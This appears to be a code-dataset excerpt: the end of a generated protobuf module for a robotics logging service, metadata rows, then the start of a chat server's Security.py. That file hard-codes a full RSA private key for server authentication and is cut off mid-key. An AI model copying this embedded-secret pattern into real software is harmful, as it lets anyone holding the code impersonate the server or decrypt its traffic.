_sym_db.RegisterMessage(KeyValue)
MessageLastTimestamp = _reflection.GeneratedProtocolMessageType('MessageLastTimestamp', (_message.Message,), {
'DESCRIPTOR' : _MESSAGELASTTIMESTAMP,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.MessageLastTimestamp)
})
_sym_db.RegisterMessage(MessageLastTimestamp)
InferenceRequest = _reflection.GeneratedProtocolMessageType('InferenceRequest', (_message.Message,), {
'DESCRIPTOR' : _INFERENCEREQUEST,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.InferenceRequest)
})
_sym_db.RegisterMessage(InferenceRequest)
Prediction = _reflection.GeneratedProtocolMessageType('Prediction', (_message.Message,), {
'DESCRIPTOR' : _PREDICTION,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.Prediction)
})
_sym_db.RegisterMessage(Prediction)
PickPoint = _reflection.GeneratedProtocolMessageType('PickPoint', (_message.Message,), {
'DESCRIPTOR' : _PICKPOINT,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.PickPoint)
})
_sym_db.RegisterMessage(PickPoint)
Level = _reflection.GeneratedProtocolMessageType('Level', (_message.Message,), {
'DESCRIPTOR' : _LEVEL,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.Level)
})
_sym_db.RegisterMessage(Level)
UrState = _reflection.GeneratedProtocolMessageType('UrState', (_message.Message,), {
'DESCRIPTOR' : _URSTATE,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.UrState)
})
_sym_db.RegisterMessage(UrState)
RobotStopState = _reflection.GeneratedProtocolMessageType('RobotStopState', (_message.Message,), {
'DESCRIPTOR' : _ROBOTSTOPSTATE,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.RobotStopState)
})
_sym_db.RegisterMessage(RobotStopState)
RobotState = _reflection.GeneratedProtocolMessageType('RobotState', (_message.Message,), {
'DESCRIPTOR' : _ROBOTSTATE,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.RobotState)
})
_sym_db.RegisterMessage(RobotState)
DigitalBank = _reflection.GeneratedProtocolMessageType('DigitalBank', (_message.Message,), {
'DESCRIPTOR' : _DIGITALBANK,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.DigitalBank)
})
_sym_db.RegisterMessage(DigitalBank)
AnalogBank = _reflection.GeneratedProtocolMessageType('AnalogBank', (_message.Message,), {
'DESCRIPTOR' : _ANALOGBANK,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.AnalogBank)
})
_sym_db.RegisterMessage(AnalogBank)
IntegerBank = _reflection.GeneratedProtocolMessageType('IntegerBank', (_message.Message,), {
'DESCRIPTOR' : _INTEGERBANK,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.IntegerBank)
})
_sym_db.RegisterMessage(IntegerBank)
ConveyorState = _reflection.GeneratedProtocolMessageType('ConveyorState', (_message.Message,), {
'DESCRIPTOR' : _CONVEYORSTATE,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.ConveyorState)
})
_sym_db.RegisterMessage(ConveyorState)
ToolState = _reflection.GeneratedProtocolMessageType('ToolState', (_message.Message,), {
'DESCRIPTOR' : _TOOLSTATE,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.ToolState)
})
_sym_db.RegisterMessage(ToolState)
Status = _reflection.GeneratedProtocolMessageType('Status', (_message.Message,), {
'DESCRIPTOR' : _STATUS,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.Status)
})
_sym_db.RegisterMessage(Status)
Position = _reflection.GeneratedProtocolMessageType('Position', (_message.Message,), {
'DESCRIPTOR' : _POSITION,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.Position)
})
_sym_db.RegisterMessage(Position)
Rotation = _reflection.GeneratedProtocolMessageType('Rotation', (_message.Message,), {
'DESCRIPTOR' : _ROTATION,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.Rotation)
})
_sym_db.RegisterMessage(Rotation)
Scale = _reflection.GeneratedProtocolMessageType('Scale', (_message.Message,), {
'DESCRIPTOR' : _SCALE,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.Scale)
})
_sym_db.RegisterMessage(Scale)
UserLabel = _reflection.GeneratedProtocolMessageType('UserLabel', (_message.Message,), {
'DESCRIPTOR' : _USERLABEL,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.UserLabel)
})
_sym_db.RegisterMessage(UserLabel)
Pose2d = _reflection.GeneratedProtocolMessageType('Pose2d', (_message.Message,), {
'DESCRIPTOR' : _POSE2D,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.Pose2d)
})
_sym_db.RegisterMessage(Pose2d)
Vec3d = _reflection.GeneratedProtocolMessageType('Vec3d', (_message.Message,), {
'DESCRIPTOR' : _VEC3D,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.Vec3d)
})
_sym_db.RegisterMessage(Vec3d)
Quaternion3d = _reflection.GeneratedProtocolMessageType('Quaternion3d', (_message.Message,), {
'DESCRIPTOR' : _QUATERNION3D,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.Quaternion3d)
})
_sym_db.RegisterMessage(Quaternion3d)
DeviceDataRef = _reflection.GeneratedProtocolMessageType('DeviceDataRef', (_message.Message,), {
'DESCRIPTOR' : _DEVICEDATAREF,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.DeviceDataRef)
})
_sym_db.RegisterMessage(DeviceDataRef)
PlaceLabel = _reflection.GeneratedProtocolMessageType('PlaceLabel', (_message.Message,), {
'DESCRIPTOR' : _PLACELABEL,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.PlaceLabel)
})
_sym_db.RegisterMessage(PlaceLabel)
PickLabel = _reflection.GeneratedProtocolMessageType('PickLabel', (_message.Message,), {
'DESCRIPTOR' : _PICKLABEL,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.PickLabel)
})
_sym_db.RegisterMessage(PickLabel)
SessionInfo = _reflection.GeneratedProtocolMessageType('SessionInfo', (_message.Message,), {
'DESCRIPTOR' : _SESSIONINFO,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.SessionInfo)
})
_sym_db.RegisterMessage(SessionInfo)
ProtectiveStopState = _reflection.GeneratedProtocolMessageType('ProtectiveStopState', (_message.Message,), {
'DESCRIPTOR' : _PROTECTIVESTOPSTATE,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.ProtectiveStopState)
})
_sym_db.RegisterMessage(ProtectiveStopState)
SafeguardStopState = _reflection.GeneratedProtocolMessageType('SafeguardStopState', (_message.Message,), {
'DESCRIPTOR' : _SAFEGUARDSTOPSTATE,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.SafeguardStopState)
})
_sym_db.RegisterMessage(SafeguardStopState)
EmergencyStopState = _reflection.GeneratedProtocolMessageType('EmergencyStopState', (_message.Message,), {
'DESCRIPTOR' : _EMERGENCYSTOPSTATE,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.EmergencyStopState)
})
_sym_db.RegisterMessage(EmergencyStopState)
RobotPowerState = _reflection.GeneratedProtocolMessageType('RobotPowerState', (_message.Message,), {
'DESCRIPTOR' : _ROBOTPOWERSTATE,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.RobotPowerState)
})
_sym_db.RegisterMessage(RobotPowerState)
Metric = _reflection.GeneratedProtocolMessageType('Metric', (_message.Message,), {
'DESCRIPTOR' : _METRIC,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.Metric)
})
_sym_db.RegisterMessage(Metric)
EmptyMessage = _reflection.GeneratedProtocolMessageType('EmptyMessage', (_message.Message,), {
'DESCRIPTOR' : _EMPTYMESSAGE,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.EmptyMessage)
})
_sym_db.RegisterMessage(EmptyMessage)
SetOutput = _reflection.GeneratedProtocolMessageType('SetOutput', (_message.Message,), {
'DESCRIPTOR' : _SETOUTPUT,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.SetOutput)
})
_sym_db.RegisterMessage(SetOutput)
ConnectedClients = _reflection.GeneratedProtocolMessageType('ConnectedClients', (_message.Message,), {
'DESCRIPTOR' : _CONNECTEDCLIENTS,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.ConnectedClients)
})
_sym_db.RegisterMessage(ConnectedClients)
ConnectedClient = _reflection.GeneratedProtocolMessageType('ConnectedClient', (_message.Message,), {
'DESCRIPTOR' : _CONNECTEDCLIENT,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.ConnectedClient)
})
_sym_db.RegisterMessage(ConnectedClient)
Detection = _reflection.GeneratedProtocolMessageType('Detection', (_message.Message,), {
'DESCRIPTOR' : _DETECTION,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.Detection)
})
_sym_db.RegisterMessage(Detection)
SourceImage = _reflection.GeneratedProtocolMessageType('SourceImage', (_message.Message,), {
'DESCRIPTOR' : _SOURCEIMAGE,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.SourceImage)
})
_sym_db.RegisterMessage(SourceImage)
DetectionAprilGroupAprilTag = _reflection.GeneratedProtocolMessageType('DetectionAprilGroupAprilTag', (_message.Message,), {
'DESCRIPTOR' : _DETECTIONAPRILGROUPAPRILTAG,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.DetectionAprilGroupAprilTag)
})
_sym_db.RegisterMessage(DetectionAprilGroupAprilTag)
DetectionAprilGroupInfo = _reflection.GeneratedProtocolMessageType('DetectionAprilGroupInfo', (_message.Message,), {
'DESCRIPTOR' : _DETECTIONAPRILGROUPINFO,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.DetectionAprilGroupInfo)
})
_sym_db.RegisterMessage(DetectionAprilGroupInfo)
DetectionEntry = _reflection.GeneratedProtocolMessageType('DetectionEntry', (_message.Message,), {
'DESCRIPTOR' : _DETECTIONENTRY,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.DetectionEntry)
})
_sym_db.RegisterMessage(DetectionEntry)
DetectionKey = _reflection.GeneratedProtocolMessageType('DetectionKey', (_message.Message,), {
'DESCRIPTOR' : _DETECTIONKEY,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.DetectionKey)
})
_sym_db.RegisterMessage(DetectionKey)
ShiftPerDetection = _reflection.GeneratedProtocolMessageType('ShiftPerDetection', (_message.Message,), {
'DESCRIPTOR' : _SHIFTPERDETECTION,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.ShiftPerDetection)
})
_sym_db.RegisterMessage(ShiftPerDetection)
CameraShiftDetection = _reflection.GeneratedProtocolMessageType('CameraShiftDetection', (_message.Message,), {
'DESCRIPTOR' : _CAMERASHIFTDETECTION,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.CameraShiftDetection)
})
_sym_db.RegisterMessage(CameraShiftDetection)
MovePosePathArgs = _reflection.GeneratedProtocolMessageType('MovePosePathArgs', (_message.Message,), {
'DESCRIPTOR' : _MOVEPOSEPATHARGS,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.MovePosePathArgs)
})
_sym_db.RegisterMessage(MovePosePathArgs)
MovePoseWaypointArgs = _reflection.GeneratedProtocolMessageType('MovePoseWaypointArgs', (_message.Message,), {
'DESCRIPTOR' : _MOVEPOSEWAYPOINTARGS,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.MovePoseWaypointArgs)
})
_sym_db.RegisterMessage(MovePoseWaypointArgs)
WaitArgs = _reflection.GeneratedProtocolMessageType('WaitArgs', (_message.Message,), {
'DESCRIPTOR' : _WAITARGS,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.WaitArgs)
})
_sym_db.RegisterMessage(WaitArgs)
WaitTimeoutAction = _reflection.GeneratedProtocolMessageType('WaitTimeoutAction', (_message.Message,), {
'DESCRIPTOR' : _WAITTIMEOUTACTION,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.WaitTimeoutAction)
})
_sym_db.RegisterMessage(WaitTimeoutAction)
ReachScriptBooleanExpression = _reflection.GeneratedProtocolMessageType('ReachScriptBooleanExpression', (_message.Message,), {
'DESCRIPTOR' : _REACHSCRIPTBOOLEANEXPRESSION,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.ReachScriptBooleanExpression)
})
_sym_db.RegisterMessage(ReachScriptBooleanExpression)
ReachScriptExpression = _reflection.GeneratedProtocolMessageType('ReachScriptExpression', (_message.Message,), {
'DESCRIPTOR' : _REACHSCRIPTEXPRESSION,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.ReachScriptExpression)
})
_sym_db.RegisterMessage(ReachScriptExpression)
ReachScriptVar = _reflection.GeneratedProtocolMessageType('ReachScriptVar', (_message.Message,), {
'DESCRIPTOR' : _REACHSCRIPTVAR,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.ReachScriptVar)
})
_sym_db.RegisterMessage(ReachScriptVar)
ReachScriptConst = _reflection.GeneratedProtocolMessageType('ReachScriptConst', (_message.Message,), {
'DESCRIPTOR' : _REACHSCRIPTCONST,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.ReachScriptConst)
})
_sym_db.RegisterMessage(ReachScriptConst)
ReachScriptCapability = _reflection.GeneratedProtocolMessageType('ReachScriptCapability', (_message.Message,), {
'DESCRIPTOR' : _REACHSCRIPTCAPABILITY,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.ReachScriptCapability)
})
_sym_db.RegisterMessage(ReachScriptCapability)
MachineInterface = _reflection.GeneratedProtocolMessageType('MachineInterface', (_message.Message,), {
'DESCRIPTOR' : _MACHINEINTERFACE,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.MachineInterface)
})
_sym_db.RegisterMessage(MachineInterface)
MachineDescription = _reflection.GeneratedProtocolMessageType('MachineDescription', (_message.Message,), {
'DESCRIPTOR' : _MACHINEDESCRIPTION,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.MachineDescription)
})
_sym_db.RegisterMessage(MachineDescription)
PipelineDescription = _reflection.GeneratedProtocolMessageType('PipelineDescription', (_message.Message,), {
'DESCRIPTOR' : _PIPELINEDESCRIPTION,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.PipelineDescription)
})
_sym_db.RegisterMessage(PipelineDescription)
MachineInterfaces = _reflection.GeneratedProtocolMessageType('MachineInterfaces', (_message.Message,), {
'DESCRIPTOR' : _MACHINEINTERFACES,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.MachineInterfaces)
})
_sym_db.RegisterMessage(MachineInterfaces)
TextInstruction = _reflection.GeneratedProtocolMessageType('TextInstruction', (_message.Message,), {
'DESCRIPTOR' : _TEXTINSTRUCTION,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.TextInstruction)
})
_sym_db.RegisterMessage(TextInstruction)
Snapshot = _reflection.GeneratedProtocolMessageType('Snapshot', (_message.Message,), {
'DESCRIPTOR' : _SNAPSHOT,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.Snapshot)
})
_sym_db.RegisterMessage(Snapshot)
SnapshotResponse = _reflection.GeneratedProtocolMessageType('SnapshotResponse', (_message.Message,), {
'DESCRIPTOR' : _SNAPSHOTRESPONSE,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.SnapshotResponse)
})
_sym_db.RegisterMessage(SnapshotResponse)
GymAction = _reflection.GeneratedProtocolMessageType('GymAction', (_message.Message,), {
'DESCRIPTOR' : _GYMACTION,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.GymAction)
})
_sym_db.RegisterMessage(GymAction)
ArmActionParams = _reflection.GeneratedProtocolMessageType('ArmActionParams', (_message.Message,), {
'DESCRIPTOR' : _ARMACTIONPARAMS,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.ArmActionParams)
})
_sym_db.RegisterMessage(ArmActionParams)
VacuumActionParams = _reflection.GeneratedProtocolMessageType('VacuumActionParams', (_message.Message,), {
'DESCRIPTOR' : _VACUUMACTIONPARAMS,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.VacuumActionParams)
})
_sym_db.RegisterMessage(VacuumActionParams)
LoggerActionParams = _reflection.GeneratedProtocolMessageType('LoggerActionParams', (_message.Message,), {
'DESCRIPTOR' : _LOGGERACTIONPARAMS,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.LoggerActionParams)
})
_sym_db.RegisterMessage(LoggerActionParams)
ClientAnnotationActionParams = _reflection.GeneratedProtocolMessageType('ClientAnnotationActionParams', (_message.Message,), {
'DESCRIPTOR' : _CLIENTANNOTATIONACTIONPARAMS,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.ClientAnnotationActionParams)
})
_sym_db.RegisterMessage(ClientAnnotationActionParams)
_COMMANDDATA.fields_by_name['ts']._options = None
_COMMANDDATA.fields_by_name['operator_uid']._options = None
_COMMANDDATA.fields_by_name['session_id']._options = None
_COMMANDDATA.fields_by_name['robot_name']._options = None
_COMMANDDATA.fields_by_name['client_os']._options = None
_COMMANDDATA.fields_by_name['ui_version']._options = None
_COMMANDDATA.fields_by_name['metadata']._options = None
_COMMANDDATA.fields_by_name['key_value']._options = None
_COMMANDDATA.fields_by_name['key_value_request']._options = None
_COMMANDDATA.fields_by_name['session_info']._options = None
_COMMANDDATA.fields_by_name['trigger']._options = None
_COMMANDDATA.fields_by_name['i_see_data']._options = None
_COMMANDDATA.fields_by_name['ping']._options = None
_COMMANDDATA.fields_by_name['client_session_end']._options = None
_COMMANDDATA.fields_by_name['connected_clients_request']._options = None
_COMMANDDATA.fields_by_name['start_shutdown']._options = None
_COMMANDDATA.fields_by_name['finish_shutdown']._options = None
_COMMANDDATA.fields_by_name['hangup']._options = None
_COMMANDDATA.fields_by_name['client_session_start']._options = None
_COMMANDDATA.fields_by_name['client_annotation']._options = None
_COMMANDDATA.fields_by_name['pipeline_description_request']._options = None
_COMMANDDATA.fields_by_name['machine_interfaces_request']._options = None
_COMMANDDATA.fields_by_name['text_instruction_request']._options = None
_COMMANDDATA.fields_by_name['stream_request']._options = None
_COMMANDDATA.fields_by_name['controller_descriptions_request']._options = None
_COMMANDDATA.fields_by_name['user_label']._options = None
_COMMANDDATA.fields_by_name['enable_experiments']._options = None
_COMMANDDATA.fields_by_name['disable_experiments']._options = None
_COMMANDDATA.fields_by_name['experiment_flags']._options = None
_COMMANDDATA.fields_by_name['reach_script']._options = None
_COMMANDDATA.fields_by_name['event_name']._options = None
_COMMANDDATA.fields_by_name['event_labels']._options = None
_COMMANDDATA.fields_by_name['event_params']._options = None
_COMMANDDATA.fields_by_name['history']._options = None
_COMMANDDATA.fields_by_name['webrtc_audio_request']._options = None
_COMMANDDATA.fields_by_name['sim_action']._options = None
_COMMANDDATA.fields_by_name['inference_request']._options = None
_ALERT._options = None
_CLIENTANNOTATION.fields_by_name['associated_server_ts']._options = None
_CLIENTANNOTATION.fields_by_name['log_channel_id']._options = None
_REACHSCRIPTCOMMAND.fields_by_name['move_j_path']._options = None
_REACHSCRIPTCOMMAND.fields_by_name['move_l_path']._options = None
_REACHSCRIPT.fields_by_name['commands']._options = None
_SETRADIALSPEEDARGS.fields_by_name['velocity']._options = None
_SETRADIALSPEEDARGS.fields_by_name['acceleration']._options = None
_SETBLENDRADIUSARGS.fields_by_name['radius']._options = None
_MOVEJWAYPOINTARGS.fields_by_name['rotation']._options = None
_MOVEJWAYPOINTARGS.fields_by_name['blend_radius']._options = None
_MOVEJWAYPOINTARGS.fields_by_name['velocity']._options = None
_MOVEJWAYPOINTARGS.fields_by_name['acceleration']._options = None
_MOVEJPATHARGS.fields_by_name['waypoints']._options = None
_MOVELWAYPOINTARGS.fields_by_name['rotation']._options = None
_MOVELWAYPOINTARGS.fields_by_name['blend_radius']._options = None
_MOVELWAYPOINTARGS.fields_by_name['velocity']._options = None
_MOVELWAYPOINTARGS.fields_by_name['acceleration']._options = None
_MOVELPATHARGS.fields_by_name['waypoints']._options = None
_STOPJARGS.fields_by_name['deceleration']._options = None
_SETDIGITALOUTARGS.fields_by_name['output']._options = None
_SLEEPARGS.fields_by_name['seconds']._options = None
_DEVICEDATA.fields_by_name['ts']._options = None
_DEVICEDATA.fields_by_name['event_params']._options = None
_DEVICEDATA.fields_by_name['key_value']._options = None
_DEVICEDATA.fields_by_name['status']._options = None
_DEVICEDATA.fields_by_name['user_label']._options = None
_DEVICEDATA.fields_by_name['session_info']._options = None
_DEVICEDATA.fields_by_name['pick_label']._options = None
_DEVICEDATA.fields_by_name['place_label']._options = None
_DEVICEDATA.fields_by_name['protective_stop_state']._options = None
_DEVICEDATA.fields_by_name['protective_stop_state_update']._options = None
_DEVICEDATA.fields_by_name['safeguard_stop_state']._options = None
_DEVICEDATA.fields_by_name['safeguard_stop_state_update']._options = None
_DEVICEDATA.fields_by_name['emergency_stop_state']._options = None
_DEVICEDATA.fields_by_name['emergency_stop_state_update']._options = None
_DEVICEDATA.fields_by_name['reach_script_status']._options = None
_DEVICEDATA.fields_by_name['cmd_status']._options = None
_DEVICEDATA.fields_by_name['downlink_status']._options = None
_DEVICEDATA.fields_by_name['error']._options = None
_DEVICEDATA.fields_by_name['metadata']._options = None
_DEVICEDATA.fields_by_name['sim_state']._options = None
_DEVICEDATA.fields_by_name['device_status']._options = None
_DEVICEDATA.fields_by_name['robot_state']._options = None
_DEVICEDATA.fields_by_name['alert']._options = None
_DEVICEDATA.fields_by_name['controller_descriptions']._options = None
_SENDTOCLIENT.fields_by_name['uid']._options = None
_OBJECTSTATE.fields_by_name['id']._options = None
_SETOBJECTPOSE.fields_by_name['id']._options = None
_DELETEOBJECT.fields_by_name['id']._options = None
_SETCAMERAINTRINSICS.fields_by_name['id']._options = None
_ADDOBJECT.fields_by_name['id']._options = None
_ADDOBJECT.fields_by_name['type']._options = None
_METADATA._options = None
_IOSTATE._options = None
_COLOR.fields_by_name['color_ssot_key']._options = None
_COLOR.fields_by_name['color_data']._options = None
_COLOR._options = None
_COLORDEPTH.fields_by_name['color_ssot_key']._options = None
_COLORDEPTH.fields_by_name['depth_ssot_key']._options = None
_COLORDEPTH.fields_by_name['color_data']._options = None
_COLORDEPTH.fields_by_name['depth_data']._options = None
_COLORDEPTH._options = None
_KEYVALUE._options = None
_INFERENCEREQUEST._options = None
_PREDICTION.fields_by_name['color']._options = None
_PREDICTION.fields_by_name['color_ssot_key']._options = None
_PREDICTION.fields_by_name['error']._options = None
_PREDICTION.fields_by_name['color_data']._options = None
_PREDICTION._options = None
_LEVEL._options = None
_URSTATE.fields_by_name['is_emergency_stopped']._options = None
_URSTATE.fields_by_name['is_protective_stopped']._options = None
_URSTATE.fields_by_name['program_counter']._options = None
_URSTATE._options = None
_ROBOTSTOPSTATE._options = None
_ROBOTSTATE.fields_by_name['is_emergency_stopped']._options = None
_ROBOTSTATE.fields_by_name['is_protective_stopped']._options = None
_ROBOTSTATE.fields_by_name['program_counter']._options = None
_ROBOTSTATE._options = None
_CONVEYORSTATE._options = None
_TOOLSTATE._options = None
_POSITION._options = None
_ROTATION._options = None
_USERLABEL._options = None
_POSE2D._options = None
_VEC3D._options = None
_QUATERNION3D._options = None
_DEVICEDATAREF.fields_by_name['ts']._options = None
_PLACELABEL._options = None
_PICKLABEL._options = None
_SESSIONINFO.fields_by_name['ui_version']._options = None
_PROTECTIVESTOPSTATE._options = None
_SAFEGUARDSTOPSTATE._options = None
_EMERGENCYSTOPSTATE._options = None
_METRIC.fields_by_name['value']._options = None
_METRIC.fields_by_name['labels']._options = None
_METRIC._options = None
_EMPTYMESSAGE._options = None
_SETOUTPUT.fields_by_name['type']._options = None
_CONNECTEDCLIENT.fields_by_name['uid']._options = None
_SOURCEIMAGE.fields_by_name['ts']._options = None
_DETECTIONAPRILGROUPAPRILTAG.fields_by_name['id']._options = None
_DETECTIONENTRY.fields_by_name['id']._options = None
_DETECTIONENTRY.fields_by_name['type']._options = None
_DETECTIONKEY.fields_by_name['id']._options = None
_DETECTIONKEY.fields_by_name['type']._options = None
_MOVEPOSEWAYPOINTARGS.fields_by_name['rotation']._options = None
_MOVEPOSEWAYPOINTARGS.fields_by_name['blend_radius']._options = None
_WAITTIMEOUTACTION.fields_by_name['type']._options = None
_REACHSCRIPTCAPABILITY.fields_by_name['type']._options = None
_MACHINEINTERFACE.fields_by_name['type']._options = None
_TEXTINSTRUCTION.fields_by_name['uid']._options = None
_TEXTINSTRUCTION.fields_by_name['supertask_id']._options = None
_SNAPSHOT.fields_by_name['gym_env_id']._options = None
_SNAPSHOT.fields_by_name['gym_run_id']._options = None
_LOGGERACTIONPARAMS.fields_by_name['event_params']._options = None
# @@protoc_insertion_point(module_scope)
| 52.388443 | 49,090 | 0.767933 | 64,526 | 495,909 | 5.571491 | 0.027973 | 0.046308 | 0.069287 | 0.058881 | 0.839761 | 0.818607 | 0.765776 | 0.717362 | 0.685758 | 0.673521 | 0 | 0.045667 | 0.107816 | 495,909 | 9,465 | 49,091 | 52.393978 | 0.766882 | 0.020742 | 0 | 0.698265 | 0 | 0.007834 | 0.208703 | 0.15591 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.000895 | 0 | 0.000895 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
a02dfd6bfd09dcee478a928bf9ba9a34bcdf9c10 | 10,991 | py | Python | server/Security.py | minor-project1-sem4-team7/BabbleZ | d9524bcbf0c9738945bfec40684b006e312bf13d | [
"MIT"
] | null | null | null | server/Security.py | minor-project1-sem4-team7/BabbleZ | d9524bcbf0c9738945bfec40684b006e312bf13d | [
"MIT"
] | null | null | null | server/Security.py | minor-project1-sem4-team7/BabbleZ | d9524bcbf0c9738945bfec40684b006e312bf13d | [
"MIT"
] | 1 | 2021-05-27T10:43:15.000Z | 2021-05-27T10:43:15.000Z | import pickle
import rsa
# Initial Global Authentication
# Server Global
__server_public_key__ = 'PublicKey(531836556116849503526789038592954213414151379898321835881401907556007177415927997307542592331199274089794331573843691592574639966270561486557382534282742103050057822993660888083548379856155488483196639832097391417134087217005299569802699831391478549250744498375602059643144903775349274801998146688120183504125221051061736348327457268507586608176443284233413990577635177136336631459383851827187507721004587701804374282750434372917940361127765542157619677292146401841569985916480798394424532280393237433015726920840531167288665933370139294868651026141601666325426407672025889314600906028786618408177562737233790002944266034792992474306740850812523601523756217918206069415070327585539353356359071939307735577061091608639360563326396192850344390658852913223887011225691903782488742287948888014633114365077164593903473318600607600949451658093178850075458821016403433532568744679880492952441636867853655522362814535616187809821323397068788947480892419246810990841597653670945038818458829019200666865229015233677540241824247978388149314379895411043381152108020013195083056299043554246377658123133279533462604856780710681653462894342224519486425570059768811070058412378593332019844589337496030320729967749686813819445032235455418790559505833, 65537)'
__server_private_key__ = rsa.PrivateKey(531836556116849503526789038592954213414151379898321835881401907556007177415927997307542592331199274089794331573843691592574639966270561486557382534282742103050057822993660888083548379856155488483196639832097391417134087217005299569802699831391478549250744498375602059643144903775349274801998146688120183504125221051061736348327457268507586608176443284233413990577635177136336631459383851827187507721004587701804374282750434372917940361127765542157619677292146401841569985916480798394424532280393237433015726920840531167288665933370139294868651026141601666325426407672025889314600906028786618408177562737233790002944266034792992474306740850812523601523756217918206069415070327585539353356359071939307735577061091608639360563326396192850344390658852913223887011225691903782488742287948888014633114365077164593903473318600607600949451658093178850075458821016403433532568744679880492952441636867853655522362814535616187809821323397068788947480892419246810990841597653670945038818458829019200666865229015233677540241824247978388149314379895411043381152108020013195083056299043554246377658123133279533462604856780710681653462894342224519486425570059768811070058412378593332019844589337496030320729967749686813819445032235455418790559505833,65537,494044731012920911465445727902391817029365640908339310137170577414433327144692257443630209211947629683792039706053129440712026506348349532349870282239549250555983952024872589018820290303839756761173252254117356447123353674585083812343994472360852862